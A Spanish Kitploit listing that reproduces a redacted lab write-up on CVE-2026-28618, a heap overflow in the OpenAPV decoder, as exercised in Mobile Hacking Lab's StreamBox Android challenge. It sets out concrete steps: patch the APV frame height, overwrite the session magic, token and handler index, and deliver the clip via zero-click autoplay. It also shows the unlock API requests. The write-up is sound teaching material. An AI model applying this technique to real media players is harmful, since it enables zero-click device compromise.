Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
streambox-cve-2026-28618 — Notas redactadas sobre CVE-2026-28618 / laboratorio StreamBox APV — escritura en el heap dentro de un objeto de sesión mediante un desajuste de altura de FRAME | Kitploit
Herramientas/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
Seguridad AndroidForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

Notas redactadas sobre CVE-2026-28618 / laboratorio StreamBox APV — escritura en el heap dentro de un objeto de sesión mediante un desajuste de altura de FRAME

Ver Repositorio
hace 2h 55mAún no revisado

APV de cero clics, en un reproductor que auto-reproduce clips compartidos

CVE-2026-28618 en StreamBox — la misma clase de decodificador que el RCE de APV en Android explotado en el mundo real, convertido en una escritura de heap contra un objeto de sesión.

Este repositorio es un writeup público y censurado: las flags, los tokens de instancia y la clave HMAC están omitidos. El APK y make_clip.py pertenecen a Mobile Hacking Lab; no se replican aquí.

Cadena de ataque

Qué resolvimos

StreamBox es un pequeño reproductor de APV. APV es Advanced Professional Video (RFC 9924), el códec libre de regalías de Samsung, la misma familia que se distribuyó en el stack multimedia de Android. El planteamiento del laboratorio es una frase: el reproductor reproduce los clips compartidos al recibirlos.

SEND, VIEW o streambox://?url=… deposita un archivo en files/incoming.apv y se ejecuta NativeDec.loadClip(). Sin toque adicional en el clip.

El fallo es CVE-2026-28618: un desbordamiento de búfer de heap en dec_frm_prepare de OpenAPV. Misma clase, mismo decodificador que CVE-2026-0006, el RCE de APV de cero clics explotado en el mundo real a principios de este año.

El laboratorio empaqueta esa escritura como un juego. Desborda el plano Y codificado de 64×64, destroza un objeto de sesión adyacente, redirige el teardown hacia handlers[2], y el Worker devuelve la flag.

El kit son dos zips del laboratorio:

  • streambox-lab.apk.zip — el reproductor
  • make_clip.py.zip — cómo se construyeron los clips de la librería de 64×64, y el bitstream que desbordas

El reproductor

Mock del reproductor StreamBox, clip compartido auto-reproduciéndose, diagnósticos filtrando arena y sesión

PlayerActivity hace:

root@kitploit:~
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)

openTier(1) es un impacto parcial (sesión tocada, token no coincide). openTier(2) es win(). PremiumActivity envía por POST el estado nativo al laboratorio:

root@kitploit:~
POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

Al arrancar, la app ya hizo POST /api/instance y NativeDec.setPlatinumToken(token). Ese token es lo que el desbordamiento tiene que escribir en la sesión.

Heap: Y de 64×64, luego la sesión

Plano Y de 0x2000 bytes, objeto de sesión inmediatamente después, filas FRAME extra desbordan hacia magic/token/handler

root@kitploit:~
arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

El oapv_imgb_t está codificado como 64×64, YUV de 10 bits. El plano 0 (Y) empieza en arena+0. 64 × 64 × 2 = 0x2000. Con pad == 0, la sesión se sitúa en el primer byte después de Y.

oapvd_decode() escribe al ancho/alto del FRAME PBU. Un FRAME más alto que 64 escribe muestras de 10 bits directamente en session.

Tras el decode:

root@kitploit:~
if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

Layout de sessionProof: destrozar magic, hacer coincidir token, índice de handler 2

make_clip.py es la ruta del clip

El generador del laboratorio dibuja 32 fotogramas de RGB de 64×64, convierte a yuv422p10le, y lanza el codificador de referencia OpenAPV:

root@kitploit:~
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

Cada clip incluido son 32 unidades de acceso de FRAME 64×64:

root@kitploit:~
[u32be au_size] ['aPv1' + PBUs] × 32

Cabecera FRAME: parchear u24be height en el archivo +0x16 de 64 a 72

El reproductor sigue asignando 64×64. Parchea cada frame_height de AU de 64 → 72:

root@kitploit:~
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72

Compártelo (SEND / VIEW / streambox://?url=). La auto-reproducción es el exploit.

Un desbordamiento más limpio es editar H en make_clip.py a 72 o 128 y recodificar para que las filas Y extra sean datos de imagen reales. La fila 64 de un plano de 10 bits de 64 de ancho son 128 bytes:

  • píxeles 0–3 → magic de sesión (debe dejar de ser OBMAERTS)
  • píxeles 4–5 → token de instancia (g_token)
  • píxeles 6–7 → índice de handler 2

APV es con pérdida; los valores exactos de 10 bits a través de oapv_app_enc requieren QP 0 / casi sin pérdida.

PoC público relacionado para la clase de fallo padre: mobilehackinglab/CVE-2026-0006-openapv-poc.

Demostrar la escritura

El urllib de Python recibe Cloudflare 1010. curl con un UA móvil funciona.

El Worker rechaza el magic original con no overflow evidence: session magic intact. El ASCII STREAMBO (bytes distintos del uint64 LE) cuenta como escritura.

Unlock censurado: POST /api/instance y luego POST /api/unlock devolviendo MHL{REDACTED}

root@kitploit:~
# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py

win() es lo que muestra el reproductor cuando loadClip devuelve 2:

Pantalla SESSION COMPROMISED con flag censurada

Enlaces

  • Este repositorio: scripts auxiliares + diagramas
  • Android Security Bulletin — septiembre de 2026 (CVE-2026-28618, A-492492028, Media Codecs)
  • Writeup de CVE-2026-0006 — Mobile Hacking Lab
  • PoC de CVE-2026-0006
  • OpenAPV (Academy Software Foundation)
  • Parche de AOSP — validación de dimensiones en dec_frm_prepare

Aviso legal

Notas de laboratorio autorizadas para el ejercicio StreamBox de Mobile Hacking Lab. Sin APK, sin tokens activos, sin flag. No ejecutes estas primitivas contra nada que no poseas o tengas permiso para probar.

Descargar herramienta